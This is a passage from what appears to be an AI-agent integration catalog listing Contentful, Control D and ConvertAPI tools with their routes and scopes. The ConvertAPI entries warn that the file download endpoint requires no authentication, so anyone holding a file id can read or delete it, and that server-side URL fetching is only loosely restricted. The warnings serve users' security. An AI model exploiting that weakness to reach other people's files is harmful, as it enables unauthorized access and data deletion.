configuration. The destination type cannot be changed via this endpoint. via PUT /organizations/{organization_id}/logging_configurations/{configuration_id}/credentials PUT /api/v1/contentful/organizations/{organization_id}/logging_configurations/{configuration_id}/credentials. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_security_contacts_by_security_id (write) — Update an organization security contact an admin or owner has access to via PUT /organizations/{organization_id}/security_contacts/{security_id} PUT /api/v1/contentful/organizations/{organization_id}/security_contacts/{security_id}. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_taxonomy_concept_schemes_by_concept_scheme_id (write) — Create a concept scheme with user-defined ID via PUT /organizations/{organization_id}/taxonomy/concept-schemes/{concept_scheme_id} PUT /api/v1/contentful/organizations/{organization_id}/taxonomy/concept-schemes/{concept_scheme_id}. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_taxonomy_concepts_by_concept_id (write) — Creates a single taxonomy concept with a user-defined ID. via PUT /organizations/{organization_id}/taxonomy/concepts/{concept_id} PUT /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts/{concept_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id (write) — Updates a space; send attributes as a JSON payload and include `X-Contentful-Version`. `X-Contentful-Organization` is optional if the account belongs to only one organization. via PUT /spaces/{space_id} PUT /api/v1/contentful/spaces/{space_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_ai_actions_by_ai_action_id (write) — Use this endpoint to update an AI Action for a specified space. via PUT /spaces/{space_id}/ai/actions/{ai_action_id} PUT /api/v1/contentful/spaces/{space_id}/ai/actions/{ai_action_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_api_keys_by_api_key_id (write) — Updates a Delivery API key and its corresponding Preview API key. Include the current version in `X-Contentful-Version`. via PUT /spaces/{space_id}/api_keys/{api_key_id} PUT /api/v1/contentful/spaces/{space_id}/api_keys/{api_key_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_enablements (write) — Enables or changes features for a space. Include `X-Contentful-Version` (use `1` if no document exists); `spaceTemplates` and `crossSpaceLinks` must always be set together. via PUT /spaces/{space_id}/enablements PUT /api/v1/contentful/spaces/{space_id}/enablements. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environment_aliases_by_environment_alias_id (write) — Creates a new environment alias or changes the environment it references. When updating, include the current alias version in `X-Contentful-Version`. via PUT /spaces/{space_id}/environment_aliases/{environment_alias_id} PUT /api/v1/contentful/spaces/{space_id}/environment_aliases/{environment_alias_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id (write) — Creates a new environment with the specified ID, or clones from a source environment via `X-Contentful-Source-Environment`. When updating an existing environment, include the current version in `X-Contentful-Version`. via PUT /spaces/{space_id}/environments/{environment_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_ai_actions_by_ai_action_id_published (write) — Use this endpoint to publish an AI Action for a specified space. via PUT /spaces/{space_id}/environments/{environment_id}/ai/actions/{ai_action_id}/published PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/ai/actions/{ai_action_id}/published. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_definition_id (write) — Install or update an app via PUT /spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_assets_by_asset_id (write) — Creates a new asset with the specified ID or updates an existing one. When updating, include the current version in `X-Contentful-Version`. via PUT /spaces/{space_id}/environments/{environment_id}/assets/{asset_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets/{asset_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_assets_by_asset_id_archived (write) — Archives an asset, removing it and its CDN files. CDN removal can take up to 48 hours. via PUT /spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/archived PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/archived. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_assets_by_asset_id_files_by_locale_code_process (write) — Process an asset via PUT /spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/files/{locale_code}/process PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/files/{locale_code}/process. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_assets_by_asset_id_published (write) — Publishes an asset, making it available on the CDA and CDN. Image assets become accessible from `images.ctfassets.net` with Images API query parameter support. via PUT /spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/published PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/published. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_automation_definitions_by_automation_definition_id (write) — Update an automation definition via PUT /spaces/{space_id}/environments/{environment_id}/automation_definitions/{automation_definition_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/automation_definitions/{automation_definition_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id (write) — Creates a new content type with the specified ID or updates an existing one. When updating, include the current version in `X-Contentful-Version`. via PUT /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id_editor_interface (write) — You can use this endpoint to update an existing editor interface. You will need to specify its last version with `X-Contentful-Version`. via PUT /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/editor_interface PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/editor_interface. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id_published (write) — Activate a content type via PUT /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/published PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/published. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id (write) — Creates a new entry with the specified ID or updates an existing one. Pass `X-Contentful-Content-Type` when creating; include `X-Contentful-Version` when updating. via PUT /spaces/{space_id}/environments/{environment_id}/entries/{entry_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_archived (write) — Archive an entry via PUT /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/archived PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/archived. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_comments_by_comment_id (write) — Updates the body of an entry comment. Only the comment creator or a space admin can update a comment. via PUT /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments/{comment_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments/{comment_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_published (write) — Publish an entry via PUT /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/published PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/published. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_tasks_by_task_id (write) — Updates a task's body, assignee, or status. Task assignees can only update `status`; task creators and admins can update `body` and `assignedTo`. Resolved tasks cannot have `body` or `assignee` changed without unresolving first. via PUT /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks/{task_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks/{task_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_extensions_by_extension_id (write) — Use this endpoint to create a new extension with a specified ID, or to update a specific extension via its ID. When updating an existing extension, you need to specify the last version of the extension you are updating with `X-Contentful-Version`. via PUT /spaces/{space_id}/environments/{environment_id}/extensions/{extension_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/extensions/{extension_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_locales_by_locale_id (write) — Updates a locale in a space; include the current version in `X-Contentful-Version`. Changing a locale's `code` affects all future API responses and is not allowed on locales used as fallbacks. via PUT /spaces/{space_id}/environments/{environment_id}/locales/{locale_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/locales/{locale_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_releases_by_release_id (write) — Updates a release by ID. Include `X-Contentful-Version`. via PUT /spaces/{space_id}/environments/{environment_id}/releases/{release_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_archived (write) — Archives a release, preventing publish, unpublish, or scheduling actions. Include `X-Contentful-Version`. via PUT /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/archived PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/archived. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_assets_by_asset_id (write) — Creates a new asset with the specified ID or updates an existing one within the release. Include the current version in `X-Contentful-Version` when updating. via PUT /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets/{asset_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets/{asset_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_assets_by_asset_id_files_by_locale_code_process (write) — Process an asset in a release via PUT /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets/{asset_id}/files/{locale_code}/process PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets/{asset_id}/files/{locale_code}/process. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_entries_by_entry_id (write) — Updates a release entry by ID. Include the current version in `X-Contentful-Version`; content type ID is not required in the payload. via PUT /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries/{entry_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries/{entry_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_published (write) — Publishes all entities in a release. The release is automatically archived on success. via PUT /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/published PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/published. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_tags_by_tag_id (write) — Creates or updates a tag; tag IDs are immutable after creation. Set visibility via `X-Contentful-Tag-Visibility` header (defaults to `private`). via PUT /spaces/{space_id}/environments/{environment_id}/tags/{tag_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/tags/{tag_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_template_installations_by_template_id_validated (write) — This action validates the latest version of a template for installation in the environment. via PUT /spaces/{space_id}/environments/{environment_id}/template_installations/{template_id}/validated PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/template_installations/{template_id}/validated. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_template_installations_by_template_id_versions_by_version_number_validated (write) — This action validates a template version for installation in the environment. via PUT /spaces/{space_id}/environments/{environment_id}/template_installations/{template_id}/versions/{version_number}/validated PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/template_installations/{template_id}/versions/{version_number}/validated. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_ui_config (write) — You can use this endpoint to update the UI Config in your environment. These settings are visible to everyone in the environment. via PUT /spaces/{space_id}/environments/{environment_id}/ui_config PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/ui_config. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_ui_config_me (write) — You can use this endpoint to update your User UI Config. via PUT /spaces/{space_id}/environments/{environment_id}/ui_config/me PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/ui_config/me. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_workflow_definitions_by_workflow_definition_id (write) — Updates a workflow definition by ID. Only org or space admins can update workflow definitions. via PUT /spaces/{space_id}/environments/{environment_id}/workflow_definitions/{workflow_definition_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflow_definitions/{workflow_definition_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_workflows_by_workflow_id (write) — Advances or updates a workflow step. Only org or space admins can update by default; step-level permissions can grant access to other users. via PUT /spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id} PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_environments_by_environment_id_workflows_by_workflow_id_completed (write) — Completes a workflow. Only org or space admins can complete by default; step-level permissions can grant access to other users. via PUT /spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}/completed PUT /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}/completed. Scopes: content_management_manage. contentful_put_spaces_by_space_id_roles_by_role_id (write) — Use this endpoint to update an existing role. You cannot use the endpoint to create a new role with a specific id. via PUT /spaces/{space_id}/roles/{role_id} PUT /api/v1/contentful/spaces/{space_id}/roles/{role_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_scheduled_actions_by_scheduled_action_id (write) — Updates the `scheduledFor.datetime` or `scheduledFor.timezone` of a scheduled action. Only fields under `scheduledFor` can be changed; include `X-Contentful-Version`. via PUT /spaces/{space_id}/scheduled_actions/{scheduled_action_id} PUT /api/v1/contentful/spaces/{space_id}/scheduled_actions/{scheduled_action_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_space_add_ons (write) — Sets the allocation of add-ons for a space. The value is the final amount (not a delta); partial resource subsets are accepted. via PUT /spaces/{space_id}/space_add_ons PUT /api/v1/contentful/spaces/{space_id}/space_add_ons. Scopes: content_management_manage. contentful_put_spaces_by_space_id_space_memberships_by_space_membership_id (write) — This endpoint allows you to change a space membership. Use this to assign additional roles or flag a user as 'admin'. via PUT /spaces/{space_id}/space_memberships/{space_membership_id} PUT /api/v1/contentful/spaces/{space_id}/space_memberships/{space_membership_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_webhook_definitions_by_webhook_definition_id (write) — Create or update a webhook via PUT /spaces/{space_id}/webhook_definitions/{webhook_definition_id} PUT /api/v1/contentful/spaces/{space_id}/webhook_definitions/{webhook_definition_id}. Scopes: content_management_manage. contentful_put_spaces_by_space_id_webhook_settings_signing_secret (write) — Create a webhook signing secret via PUT /spaces/{space_id}/webhook_settings/signing_secret PUT /api/v1/contentful/spaces/{space_id}/webhook_settings/signing_secret. Scopes: content_management_manage. contentful_put_users_by_user_id_oauth_applications_by_oauth_application_id (write) — This endpoint updates details of a specific OAuth application. via PUT /users/{user_id}/oauth_applications/{oauth_application_id} PUT /api/v1/contentful/users/{user_id}/oauth_applications/{oauth_application_id}. Scopes: content_management_manage. contentful_put_users_me_access_tokens_by_token_id_revoked (write) — Revokes a CMA token, setting `revokedAt` to the current timestamp. **This action cannot be undone.** via PUT /users/me/access_tokens/{token_id}/revoked PUT /api/v1/contentful/users/me/access_tokens/{token_id}/revoked. Scopes: content_management_manage. ================================================================================ ## Control D URL: https://www.agenticfabriq.com/integrations/controld Section: Integrated Tools Control D — 46 MCP tools Provider key: controld. Scopes: read, write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. controld_delete_access (write, destructive) — Deauthorize an IP from a device. Only useful for restricted devices, or devices that have Legacy Resolvers. via DELETE /access DELETE /api/v1/controld/access. Scopes: write. controld_delete_devices_by_device_id (write, destructive) — Delete an Endpoint. This will break DNS on any physical gadget that uses this Device's unique DNS resolvers. via DELETE /devices/{device_id} DELETE /api/v1/controld/devices/{device_id}. Scopes: write. controld_delete_profiles_by_profile_id (write, destructive) — Delete profile based on the primary key (PK). Profile cannot be enforced by a device to be deleted successfully (must be orphaned profile). via DELETE /profiles/{profile_id} DELETE /api/v1/controld/profiles/{profile_id}. Scopes: write. controld_delete_profiles_by_profile_id_groups_by_folder (write, destructive) — Delete folder and all custom rules inside it. via DELETE /profiles/{profile_id}/groups/{folder} DELETE /api/v1/controld/profiles/{profile_id}/groups/{folder}. Scopes: write. controld_delete_profiles_by_profile_id_rules_by_hostname (write, destructive) — Delete one or more custom rules. via DELETE /profiles/{profile_id}/rules/{hostname} DELETE /api/v1/controld/profiles/{profile_id}/rules/{hostname}. Scopes: write. controld_get_access (read) — List up to latest 50 IPs that were used to query against a Device (resolver). via GET /access GET /api/v1/controld/access. Scopes: read. controld_get_analytics_endpoints (read) — Returns Analytics stroage regions that can be set on the account or organization. via GET /analytics/endpoints GET /api/v1/controld/analytics/endpoints. Scopes: read. controld_get_analytics_levels (read) — Returns Analytics log levels which can be enabled on Devices. via GET /analytics/levels GET /api/v1/controld/analytics/levels. Scopes: read. controld_get_billing_payments (read) — Returns billing history of all payments made. via GET /billing/payments GET /api/v1/controld/billing/payments. Scopes: read. controld_get_billing_products (read) — Returns all products currently activated on an account. via GET /billing/products GET /api/v1/controld/billing/products. Scopes: read. controld_get_billing_subscriptions (read) — Returns all active and canceled subscriptions associated with an account. via GET /billing/subscriptions GET /api/v1/controld/billing/subscriptions. Scopes: read. controld_get_devices (read) — List all Endpoints that are associated with an account or organization. via GET /devices GET /api/v1/controld/devices. Scopes: read. controld_get_devices_types (read) — Return a list of allowed device types. via GET /devices/types GET /api/v1/controld/devices/types. Scopes: read. controld_get_ip (read) — Returns current IP and datacenter that was used to handle the API request. via GET /ip GET /api/v1/controld/ip. Scopes: read. controld_get_network (read) — Returns network stats on available services in different POPs. via GET /network GET /api/v1/controld/network. Scopes: read. controld_get_organizations_members (read) — View organization membership via GET /organizations/members GET /api/v1/controld/organizations/members. Scopes: read. controld_get_organizations_organization (read) — View details of an organization. via GET /organizations/organization GET /api/v1/controld/organizations/organization. Scopes: read. controld_get_organizations_sub_organizations (read) — View sub-organizations and their details. via GET /organizations/sub_organizations GET /api/v1/controld/organizations/sub_organizations. Scopes: read. controld_get_profiles (read) — List all profiles associated with an account. via GET /profiles GET /api/v1/controld/profiles. Scopes: read. controld_get_profiles_by_profile_id_default (read) — Returns status of the Default Rule. via GET /profiles/{profile_id}/default GET /api/v1/controld/profiles/{profile_id}/default. Scopes: read. controld_get_profiles_by_profile_id_filters (read) — Returns all Native filters for this profile and their states. via GET /profiles/{profile_id}/filters GET /api/v1/controld/profiles/{profile_id}/filters. Scopes: read. controld_get_profiles_by_profile_id_filters_external (read) — Returns all 3rd party filters for this profile and their states. via GET /profiles/{profile_id}/filters/external GET /api/v1/controld/profiles/{profile_id}/filters/external. Scopes: read. controld_get_profiles_by_profile_id_groups (read) — Return all folders in a profile. These can be used to group custom rules. via GET /profiles/{profile_id}/groups GET /api/v1/controld/profiles/{profile_id}/groups. Scopes: read. controld_get_profiles_by_profile_id_rules_by_folder_id (read) — Return custom rules in a folder. For root folder, omit the folder ID. via GET /profiles/{profile_id}/rules/{folder_id} GET /api/v1/controld/profiles/{profile_id}/rules/{folder_id}. Scopes: read. controld_get_profiles_by_profile_id_services (read) — This returns services that have any kind of rule associated with it. via GET /profiles/{profile_id}/services GET /api/v1/controld/profiles/{profile_id}/services. Scopes: read. controld_get_profiles_options (read) — Get all profile options. via GET /profiles/options GET /api/v1/controld/profiles/options. Scopes: read. controld_get_proxies (read) — Returns list of usable proxies that traffic can be redirected through. via GET /proxies GET /api/v1/controld/proxies. Scopes: read. controld_get_services_categories (read) — List Service Categories via GET /services/categories GET /api/v1/controld/services/categories. Scopes: read. controld_get_services_categories_by_category (read) — List All Services via GET /services/categories/{category} GET /api/v1/controld/services/categories/{category}. Scopes: read. controld_get_users (read) — Returns all relevant account information of a Control account. via GET /users GET /api/v1/controld/users. Scopes: read. controld_post_access (write) — Supply an array of IPs to authorize on the device. These IPs will be able to use the Legacy DNS IPv4 resolver and have access to proxies. If this is a restricted device, then only these IPs will be able to communicate with it. via POST /access POST /api/v1/controld/access. Scopes: write. controld_post_devices (write) — Create a new Endpoint. This endpoint will return DNS resolvers specific to this Device. via POST /devices POST /api/v1/controld/devices. Scopes: write. controld_post_organizations_suborg (write) — Create a new Sub-Organization. via POST /organizations/suborg POST /api/v1/controld/organizations/suborg. Scopes: write. controld_post_profiles (write) — Create a new blank profile, or clone an existing one. via POST /profiles POST /api/v1/controld/profiles. Scopes: write. controld_post_profiles_by_profile_id_groups (write) — Create a new folder and assign it an optional rule. via POST /profiles/{profile_id}/groups POST /api/v1/controld/profiles/{profile_id}/groups. Scopes: write. controld_post_profiles_by_profile_id_rules (write) — Create one or more custom rules. via POST /profiles/{profile_id}/rules POST /api/v1/controld/profiles/{profile_id}/rules. Scopes: write. controld_put_devices_by_device_id (write) — Modify an existing Endpoint and its settings. via PUT /devices/{device_id} PUT /api/v1/controld/devices/{device_id}. Scopes: write. controld_put_organizations (write) — Modify Sub-Organization and all its details, including seats. via PUT /organizations PUT /api/v1/controld/organizations. Scopes: write. controld_put_profiles_by_profile_id (write) — Modify an existing profile. via PUT /profiles/{profile_id} PUT /api/v1/controld/profiles/{profile_id}. Scopes: write. controld_put_profiles_by_profile_id_default (write) — Returns status of the Default Rule. via PUT /profiles/{profile_id}/default PUT /api/v1/controld/profiles/{profile_id}/default. Scopes: write. controld_put_profiles_by_profile_id_filters (write) — Enable or disable multiple filters on a specified {profile}, which is the value of PK from the List endpoint. via PUT /profiles/{profile_id}/filters PUT /api/v1/controld/profiles/{profile_id}/filters. Scopes: write. controld_put_profiles_by_profile_id_filters_filter_by_filter (write) — Enables or disables a {filter} on a specified {profile}, which is the value of PK from the List endpoint. via PUT /profiles/{profile_id}/filters/filter/{filter} PUT /api/v1/controld/profiles/{profile_id}/filters/filter/{filter}. Scopes: write. controld_put_profiles_by_profile_id_groups_by_folder (write) — Modify an existing folder. via PUT /profiles/{profile_id}/groups/{folder} PUT /api/v1/controld/profiles/{profile_id}/groups/{folder}. Scopes: write. controld_put_profiles_by_profile_id_options_by_name (write) — Set an option on a profile. via PUT /profiles/{profile_id}/options/{name} PUT /api/v1/controld/profiles/{profile_id}/options/{name}. Scopes: write. controld_put_profiles_by_profile_id_rules (write) — Modify an existing custom rule. via PUT /profiles/{profile_id}/rules PUT /api/v1/controld/profiles/{profile_id}/rules. Scopes: write. controld_put_profiles_by_profile_id_services_by_service (write) — Create or modify a rule for a {service} in a {profile}. via PUT /profiles/{profile_id}/services/{service} PUT /api/v1/controld/profiles/{profile_id}/services/{service}. Scopes: write. ================================================================================ ## ConvertAPI URL: https://www.agenticfabriq.com/integrations/convertapi Section: Integrated Tools ConvertAPI — 312 MCP tools Provider key: convertapi. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. convertapi_delete_d_by_fileid (write, destructive) — Delete a file from ConvertAPI's file server by its file id, via DELETE /d/{fileId}. DESTRUCTIVE AND IRREVERSIBLE: ConvertAPI has no recycle bin and no undo, and answers 200 with an empty body, so absence is confirmed by asking for the file again rather than by reading this reply. USE IT TO RETIRE A CONVERSION'S OUTPUT EARLY -- every conversion's result sits on a PUBLIC URL for three hours, and this is the only way to cut that short. THIS TOOL SENDS NO CREDENTIAL AND ConvertAPI CHECKS NONE. Measured 2026-09-24 against a real file id: HEAD, GET and DELETE on /d/{fileId} all answer 200 with no Authorization header at all, the same id answers on every one of ConvertAPI's seven regional hosts, and a bogus bearer is ignored rather than refused. The file id IS the capability. The Agentic Fabriq connection grant is the only access control on this tool, and it protects nothing against anyone who obtains the id elsewhere. A file id that does not exist is reported as `deleted: false, existed: false` rather than as an error -- a mistyped id is not a deletion that happened. DELETE /api/v1/convertapi/d/{file_id}. Scopes: api. convertapi_get_user (read) — Read the connected ConvertAPI account via GET /user: whether it is active, the account email and full name, the plan's total conversion allowance and how much of it has been consumed. USE THIS BEFORE A BATCH OF CONVERSIONS -- every conversion tool spends a credit and this is the only way to see the balance. It is also the connection's health check: it is the only endpoint here that refuses a bad credential (measured: 200 with a real token, 401 Code 4011 with a bogus one or none, while an invented route answers 404). TWO FIELDS ARE REDACTED BEFORE YOU SEE THEM: ConvertAPI returns this account's own `Secret` and `ApiKey` in this reply -- its own schema calls them 'Authentication secret' and 'Authentication API key' -- and Agentic Fabriq replaces both values with a note saying where to read them, because this reply reaches tool results, audit logs and model context. Every other field is ConvertAPI's own, unchanged. GET /api/v1/convertapi/user. Scopes: api. convertapi_get_user_statistic (read) — List the account's conversions over a date range via GET /user/statistic: one entry per conversion with its converter, source and destination formats, source file name, execution time, originating IP, whether it succeeded and any error message. This is the audit trail for the conversion tools -- it reports conversions performed ANYWHERE on the account, not only those made through Agentic Fabriq. BOTH DATES ARE REQUIRED and ConvertAPI validates them: omitting them answers 400 Code 4000 naming StartDate, EndDate and the 2015-01-01..2030-12-31 window. Use YYYY-MM-DD. A range with no conversions answers an empty list, not an error. GET /api/v1/convertapi/user/statistic. Scopes: api. convertapi_head_d_by_fileid (read) — Report what ConvertAPI holds for a file id -- its name, extension, size in bytes and content disposition -- without downloading it, via HEAD /d/{fileId}. Use it to confirm a converted file still exists before handing its URL on; ConvertAPI deletes every stored file after three hours. A file that is absent is reported as `exists: false` rather than as an error, which is measured rather than assumed: a live id answers 200, an absent 32-character id answers 404, and a malformed id answers 400. It does NOT return the file's contents -- the raw download is the one ConvertAPI operation this integration does not ship. THIS TOOL SENDS NO CREDENTIAL AND ConvertAPI CHECKS NONE. Measured 2026-09-24 against a real file id: HEAD, GET and DELETE on /d/{fileId} all answer 200 with no Authorization header at all, the same id answers on every one of ConvertAPI's seven regional hosts, and a bogus bearer is ignored rather than refused. The file id IS the capability. The Agentic Fabriq connection grant is the only access control on this tool, and it protects nothing against anyone who obtains the id elsewhere. GET /api/v1/convertapi/d/{file_id}. Scopes: api. convertapi_post_convert_barcode_to_data (write) — Scan Barcode API via POST /convert/barcode/to/data. Scan Barcode API detects and decodes 1D and 2D barcodes, including Data Matrix, Code 128, Code 39, EAN-13, and more. It supports PDF documents, scanned files, and even photographed barcodes in various image formats (PNG, JPG, TIFF). You can restrict detection to a specific format, enable multiple barcode detection, try intensive detection algorithms, and handle inverted or rotated barcodes. The result is returned as JSON with decoded payload and optional metadata. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/barcode/to/data. Scopes: api. convertapi_post_convert_bmp_to_jpg (write) — BMP to JPG Conversion API via POST /convert/bmp/to/jpg. Convert BMP images to widely compatible JPG format for web, applications, and storage. Use general image parameters to set resolution (DPI), select scaling behavior, and specify explicit width/height so outputs fit your UI and pipeline needs. Choose color space for consistent cross-device rendering and adjust JPEG quality to balance visual clarity and file size. Designed for automation and bulk processing, the API provides predictable, opaque raster results suitable for previews, sharing, and archival workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/bmp/to/jpg. Scopes: api. convertapi_post_convert_bmp_to_pdf (write) — BMP to PDF Conversion API via POST /convert/bmp/to/pdf. Convert BMP images to PDF for easy sharing, printing, and archival. Control page size and orientation, set precise horizontal/vertical margins, and rotate content to match layout requirements. Choose color settings and 